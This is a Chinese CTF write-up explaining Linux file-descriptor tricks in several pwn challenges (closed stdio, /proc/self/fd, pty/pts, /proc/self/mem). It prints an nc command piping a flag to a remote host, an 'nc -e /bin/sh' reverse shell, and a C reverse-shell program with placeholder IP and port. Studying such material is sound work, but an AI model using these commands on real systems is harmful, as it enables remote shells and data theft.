接下来以一些 pwnable 题目为例分析一些 fd tricks,如果以后遇到新的操作会继续更新。 同样感谢大佬们的无私分享。

level 0: pwnable.kr - fd

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
fd@ubuntu:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	if(argc<2){
		printf("pass argv[1] a number\n");
		return 0;
	}
	int fd = atoi( argv[1] ) - 0x1234;
	int len = 0;
	len = read(fd, buf, 32);
	if(!strcmp("LETMEWIN\n", buf)){
		printf("good job :)\n");
		system("/bin/cat flag");
		exit(0);
	}
	printf("learn about Linux file IO\n");
	return 0;

}

有了前两篇的基础,这个就很简单了,只需要控制 read 的 第一个参数是 0 即可,当 fd = 0时,read 将会从 0 号文件,此时即为从 stdin 读取输入,接下来输入 “LETMEWIN\n” 即可。

level 1: WDB2018_impossible

binary & exp here

我们只分析与 fd 有关的部分

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
  memset(secret_random, 0, 8uLL);
  fd = open("/dev/urandom", 0);
  read(fd, secret_random, 8uLL);
  printf("Input your secret code:", secret_random);
  read(0, buf, 8uLL);
  if ( !memcmp(secret_random, buf, 8uLL) )
  {
    puts("Amazing! How can u know the secret code?");
    puts("Ok,u are the boss, u can do anything u want");
    puts("But u should be quiet about this, because this is illegal");
    puts("So...Close ur mouth...");
    close(0);
    qmemcpy(buf, bored_buf, 0x1000uLL);
  }

仔细看这段代码,open("/dev/urandom”, 0); 后并没有对应的 close 操作。 因此如果重复运行这段代码,fd 会一直增加,到达该用户所能承受的最大量后(可以使用 ulimit -a 查看),下一次 open("/dev/urandom”, 0); 就会失败,导致 read(fd, secret_random, 8uLL); 读了空数据,我们只需要输入 \0 即可通过 memcmp 的验证;

还有一点需要注意,这道题目随后关闭了 stdin (close(0)),因此即使我们能 get shell,我们的输入也不会被接受。但幸运的是题目只关闭了 stdin,stdout 和 stderr 还是可以用的,因此思路就有很多了,比如直接构造一段 open("./flag", 0); read(0, addr, 0x100); puts(addr) 的 ropchain 就可以得到 flag (因为 close(0), open("./flag”, 0) 返回的 fd 将为 0)。

类似的题目还有 pwnable.kr - otp

level 2: Whitehat2018 - pwn3

binary & exp here

同样只分析与 fd 有关的部分,通过 ret2vsyscall 获得一次任意命令执行的机会后,剩下的目的就是如何获取 flag 了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
void echo()
{
  int v0; // ST0C_4
  int v1; // [rsp+Ch] [rbp-E4h]
  char buf[216]; // [rsp+10h] [rbp-E0h]
  unsigned __int64 v3; // [rsp+E8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v0 = v1 + 32;
  read(0, buf, v0);
  printf("Echo machine: ", buf);
  write(1, buf, v0);
  close(0);
  close(1);
  strcpy(buf, deleteyourevilstring);
}

这道题目的 stdin 和 stdout 都被关闭了,但因为我们有一次任意命令执行的机会,至少有以下三种方法获得 flag:

  • 利用 stderr, 执行 sh ./flag 。当 shell 检测到 flag 的内容不是合法的 shell 指令时,会通过 stderr 将 flag 内容打印到显示屏上
1
2
WhiteHat2018_pwn03 [master●] sh ./flag 
./flag: 1: ./flag: flag{this_is_flag}: not found
  • 利用 pipe,前两篇提到 pipe 也是一种文件,虽然 stdin 和 stdout 被关闭了,但我们任然可以通过执行命令建立 pipe,利用 pipe 将 flag 内容发送到公网 vps,在 vps 上监听即可
1
2
3
4
5
6
7
WhiteHat2018_pwn03 [master●] cat ./flag| nc your_ip your_port
......
On vps:
ubuntu@VM-61-71-ubuntu:~$ nc -lvp your_port
Listening on [0.0.0.0] (family 0, port ????)
Connection from [1.202.222.147] port ???? [tcp/*] accepted (family 2, sport 47042)
flag{this_is_flag}
  • 建立一个 reverse shell,reverse shell 的原理完全可以另开一篇 post 介绍,本篇只会在最后简单介绍其原理,更详细的可以看 reference。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
WhiteHat2018_pwn03 [master●] nc -e /bin/sh your_ip your_port
......

On vps:
ubuntu@VM-61-71-ubuntu:~$ nc -lvp your_port
Listening on [0.0.0.0] (family 0, port ????)
Connection from [1.202.222.147] port ???? [tcp/*] accepted (family 2, sport 47442)
ls
flag
libc-2.27.i64
libc-2.27.so
onehit
onehit.i64
solve.py
pwd
/home/m4x/pwn_repo/WhiteHat2018_pwn03
id
uid=1000(m4x) gid=1000(m4x) =1000(m4x),7(lp),27(sudo),100(users),109(netdev),113(lpadmin),117(scanner),124(sambashare),127(docker)

类似的题目有 0CTF2018 的 babystack

level 3: TokyoWestern2018 - load

bianry & exp here

这道题目用到了很多 fd 的知识

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char a1a[32]; // [rsp+0h] [rbp-30h]
  __int64 size; // [rsp+20h] [rbp-10h]
  __off_t offset; // [rsp+28h] [rbp-8h]

  set_buffer();
  _printf_chk(1LL, "Load file Service\nInput file name: ");
  get_str(filename, 128);
  _printf_chk(1LL, "Input offset: ");
  offset = get_int();
  _printf_chk(1LL, "Input size: ");
  size = get_int();
  load_file(a1a, filename, offset, size);
  close_all();
  return 0LL;
}

void __fastcall load_file(void *a1, const char *a2, __off_t a3, __int64 a4)
{
  __int64 nbytes; // [rsp+0h] [rbp-30h]
  __off_t offset; // [rsp+8h] [rbp-28h]
  int fd; // [rsp+2Ch] [rbp-4h]

  offset = a3;
  nbytes = a4;
  fd = open(a2, 0);
  if ( fd == -1 )
  {
    puts("You can't read this file...");
  }
  else
  {
    lseek(fd, offset, 0);
    if ( read(fd, a1, nbytes) > 0 )
      puts("Load file complete!");
    close(fd);
  }
}

void close_all()
{
  close(0);
  close(1);
  close(2);
}

栈溢出的漏洞很好发现,但关键是我们只有打开远程文件,并从文件中读取内容的能力。根据一切皆文件的思想,如果打开 /proc/self/fd/0 ,在 load_file() 中就相当于 read(3, a1, nbytes),但注意此时的 3 是 stdin,也就是说可以通过打开 /proc/self/fd/0 ,并从 stdin 读入数据来控制缓冲区内容。

那么我们要怎么利用呢?分析两种方法。

ropchain

pty 和 pts

先介绍一下什么是 pty 和 pts。我们已经知道 fd 指向被打开的文件,那么我们看一下 stdin,stdout 和 stderr 指向什么

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
others_reverse_shell [master●] ./file_descriptor
.......

others_reverse_shell [master●] pgrep file_descriptor
8942
others_reverse_shell [master●] file /proc/8942/fd/0
/proc/8942/fd/0: symbolic link to /dev/pts/2
others_reverse_shell [master●] file /proc/8942/fd/1
/proc/8942/fd/1: symbolic link to /dev/pts/2
others_reverse_shell [master●] file /proc/8942/fd/2
/proc/8942/fd/2: symbolic link to /dev/pts/2

都指向了 /dev/pts/2 这个文件,pts 是 tty 的一部分,后续会介绍。

在第一篇已经说到了 tty 子系统是用来管理终端的,对每一个连接的终端,都会有一个 tty 设备与其对应,关系如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
                      +----------------+
                      |   TTY Driver   |
                      |                |
                      |   +-------+    |       +----------------+
 +------------+       |   |       |<---------->| User process A |
 | Terminal A |<--------->| ttyS0 |    |       +----------------+
 +------------+       |   |       |<---------->| User process B |
                      |   +-------+    |       +----------------+
                      |                |
                      |   +-------+    |       +----------------+
 +------------+       |   |       |<---------->| User process C |
 | Terminal B |<--------->| ttyS1 |    |       +----------------+
 +------------+       |   |       |<---------->| User process D |
                      |   +-------+    |       +----------------+
                      |                |
                      +----------------+

在 shell 里使用 tty 命令可以查看当前 shell 被关联到了哪个 tty

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
others_reverse_shell [master●] tty
/dev/pts/3
others_reverse_shell [master●] echo test > /dev/pts/3
test
others_reverse_shell [master●] lsof /dev/pts/3
COMMAND   PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
zsh      8944  m4x    0u   CHR  136,3      0t0    6 /dev/pts/3
zsh      8944  m4x    1u   CHR  136,3      0t0    6 /dev/pts/3
zsh      8944  m4x    2u   CHR  136,3      0t0    6 /dev/pts/3
zsh      8944  m4x   10u   CHR  136,3      0t0    6 /dev/pts/3
lsof    10598  m4x    0u   CHR  136,3      0t0    6 /dev/pts/3
lsof    10598  m4x    1u   CHR  136,3      0t0    6 /dev/pts/3
lsof    10598  m4x    2u   CHR  136,3      0t0    6 /dev/pts/3

可以看到当前 shell 使用的是 /dev/pts/3,因此直接往 /dev/pts/3 写数据跟标准输出是一样的;

使用 lsof 可以看出当前 shell 和 lsof 进程的 stdin(0u),stdout(1u),stderr(2u) 都绑定到了这个 tty 上,此时它们的关系如下

1
2
3
4
5
6
   Input    +--------------------------+    R/W     +------+
----------->|                          |<---------->| bash |
            |        /dev/pts/3        |            +------+
<-----------|                          |<---------->| lsof |
   Output   | Foreground process group |    R/W     +------+
            +--------------------------+

然后说一下 pty,使用 man 7 pty 查看 pty 的用户手册

1
2
3
4
DESCRIPTION
       A  pseudoterminal  (sometimes abbreviated "pty") is a pair of virtual character
       devices that provide a bidirectional communication channel.   One  end  of  the
       channel is called the master; the other end is called the slave.  

pty 属于伪终端,“伪” 体现在 pty 是逻辑上的终端设备,但多用于模拟终端程序,比如使用 ssh,talnet 和 windows 下的 putty 等连接的终端时,此时并没有真正的设备连接到了主机,而是建立了一个伪终端来模拟各种行为。

从 man 手册中也可以看出 pty 分为 master 和 slave 两部分,其中 slave 部分称为 pts,master 称为 ptmx,二者结合实现 pty。工作流程可以简单的解释为进程通过调用 API 请求 ptmx 建立了一个 pts,然后会得到连接到 ptmx 的 fd 和一个新建的 pts(可以使用 man pts 查看更多细节)。

构造 ropchain

说了半天,再回到这道题目,虽然这道题目关闭了 stdin, stdout 和 stderr,pty 还在,换句话说,如果我们能控制 /dev/pts/? 的 fd 为 1,那么 puts(flag) 时就会把输出传递给 /dev/pts/? ,也就是我们能在显示屏上看到 flag。

总结一下思路:

  1. 利用 open("/proc/self/fd/0”, 0) 来构造 ropchain
  2. ropchain 通过 open 和 read 把 flag 读到一个固定地址,同时控制 open("/dev/pty/?", 2) 返回的 fd 为 1
  3. puts(flag) 时,系统调用为 write(1, flag, len(flag)),也就是 flag 的内容将会输出到显示屏上

ropchian exploit here

reverse shell

或者我们可以使用 reverse shell 来 get shell,这需要用到一些 procfs 的知识,不准备细讲,只需要知道可以通过往 /proc/self/mem 写数据更改 binary 内容即可(类似的题目有赛博地球杯的 fileManager 这道题目)。

通过 vmmap 可以看出 0x400000 - 0x401000 段具有可以行权限,且地址是固定的,因此我们可以控制 open("/proc/self/mem”, 2) 返回的 fd 为 1,然后通过 puts(shellcode) 既可以将 shellcode 写到这段地址上,再控制 rip 到 shellcode 就可以建立一个 reverse shell(reverse shell 的经典题目有 pwnable.tw 的 kidding 等)。

总结一下思路:

  1. 利用 open("/proc/self/fd/0”, 0) 来构造 ropchain,ropchain 实现 open("/proc/self/mem”, 2) 返回的 fd 为 1
  2. 通过 puts(shellcode) 将 shellcode 写到具有可执行权限的代码段,可以用 lseek 控制 puts 写的位置
  3. 控制 rip 为 shellcode 建立 reverse shell
  4. 可以使用 /dev/stdin 代替 /proc/self/fd/0,效果一样,可以给 shellcode 留下更多空间

revrese shell exploit here

reverse shell 原理

简单介绍一下 reverse shell 的原理,先给出经典的 reverse shell 的建立方式

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
others_reverse_shell [master] bat reverse_shell.c 
───────┬─────────────────────────────────────────────────────────────────────────────────
        File: reverse_shell.c
───────┼─────────────────────────────────────────────────────────────────────────────────
   1    // reverse shell
   2    #include <sys/types.h>
   3    #include <sys/socket.h>
   4    #include <netinet/in.h>
   5    
   6    #define NULL 0
   7    
   8    int socket(int domain, int type, int protocal);
   9    int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
  10    int dup2(int oldfd, int newfd);
  11    int execve(const char *filename, char *const argv[], char *const envp[]);
  12    int close(int fd);
  13    
  14    void reverse_shell()
  15    {
  16           char* address = "your_ip";
  17           int port = your_port;
  18    
  19           // create a new socket but it has no address assigned yet
  20           int sockfd = socket(AF_INET/* 2 */, SOCK_STREAM/* 1 */, 0);
  21    
  22           // create sockaddr_in structure for use with connect function
  23           struct sockaddr_in sock_in;
  24           sock_in.sin_family = AF_INET;
  25           sock_in.sin_addr.s_addr = inet_addr(address);
  26           sock_in.sin_port = htons(port);
  27    
  28           // perform connect to target IP address and port
  29           connect(sockfd, (struct sockaddr*)&sock_in, sizeof(struct sockaddr_in));
  30    
  31           // duplicate file descriptors for STDIN/STDOUT/STDERR
  32           for(int n = 0; n <= 2; n++)
  33           {
  34                   dup2(sockfd, n);
  35           }
  36    
  37           // execve("/bin/sh", 0, 0)
  38           execve("/bin/sh", NULL, NULL);
  39    
  40           close(sockfd);
  41    
  42           return;
  43    }
  44    
  45    
  46    int main()
  47    {
  48           reverse_shell();
  49    
  50           return 0;
  51    }
───────┴─────────────────────────────────────────────────────────────────────────────────

如果前两篇看懂的话,那么参考这个代码,reverse shell 的原理就很好理解了

  1. 建立一个 socket,此时会新建一个 fd
  2. 给这个 socket 分配 ip 和 port
  3. 通过 dup2,将 socket 的 fd 复制到 0,1 和 2 上,这样 shell 的 io 就完全通过建立的 socket 了,这时如果我们监听这个 ip 和 port,就相当于拿到了一个 shell

level 4: HCTF2018 - the_end

veritas501师傅 出的题目,很独特,关闭了 stdout 和 stderr,但保留了 stdin。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int i; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  sleep(0);
  printf("here is a gift %p, good luck ;)\n", &sleep);
  fflush(_bss_start);
  close(1);
  close(2);
  for ( i = 0; i <= 4; ++i )
  {
    read(0, &buf, 8uLL);
    read(0, buf, 1uLL);
  }
  exit(1337);
}

解法就不说了,可以参考 官方 writeup。但更多人用的应该是非预期解直接使用 one_gadget。

总之,可以用某种方式拿到一个交互式的 shell (因为 stdout 已经被关闭,所以不会有输出)。可以通过 cat flag >&0exec 1>&0; cat flag 等方法得到 flag。

为什么可以通过 stdin 来输出呢?因为

1
2
~ file /proc/self/fd/0
/proc/self/fd/0: symbolic link to /dev/pts/3

stdin 实际也是 pts 的软连接,因此可以输出。

需要注意的是,很多人在做这道题目时可能远程成功了,但本地使用 pwnlib.process 时失败,这是因为在 pwntools 的 源码 中有这样一段

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
        try:
            while not go.isSet():
                if term.term_mode:
                    data = term.readline.readline(prompt = prompt, float = True)
                else:
                    data = sys.stdin.read(1)	<== exception

                if data:
                    try:
                        self.send(data)
                    except EOFError:
                        go.set()
                        self.info('Got EOF while sending in interactive')
                else:
                    go.set()
        except KeyboardInterrupt:
            self.info('Interrupted')
            go.set()

interactive() 时程序试图从 1 读取内容,但此时只有 0,于是就触发了异常;但使用 pwnlib.remote 时是直接建立了一个 socket,因此不会触发异常(具体可以分析源码)

还要注意的是,当使用 socatxinted 等挂载题目时,0, 1, 2 实际上已经不是 stdin, stdout, stderr 而是 socket 了,但因为端口转发的原因我们可以认为仍然是 stdin, stdout, stderr,这也提醒我们遇到和 fd 有关的题目时,可以本地挂载然后使用 pwnlib.remote 测试以减少不必要的麻烦。

References

https://lordidiot.github.io/2018-09-03/tokyowesterns-ctf-2018-load-pwn/

http://nano-chicken.blogspot.com/2014/07/linuxttyptypts.html

https://segmentfault.com/a/1190000009082089

http://shell-storm.org/shellcode/files/shellcode-219.php

http://tacxingxing.com/2018/01/19/procfs/

https://tdmathison.github.io/blog/slae32-1/

https://tdmathison.github.io/blog/slae32-2/

https://xz.aliyun.com/t/2548

https://xz.aliyun.com/t/2549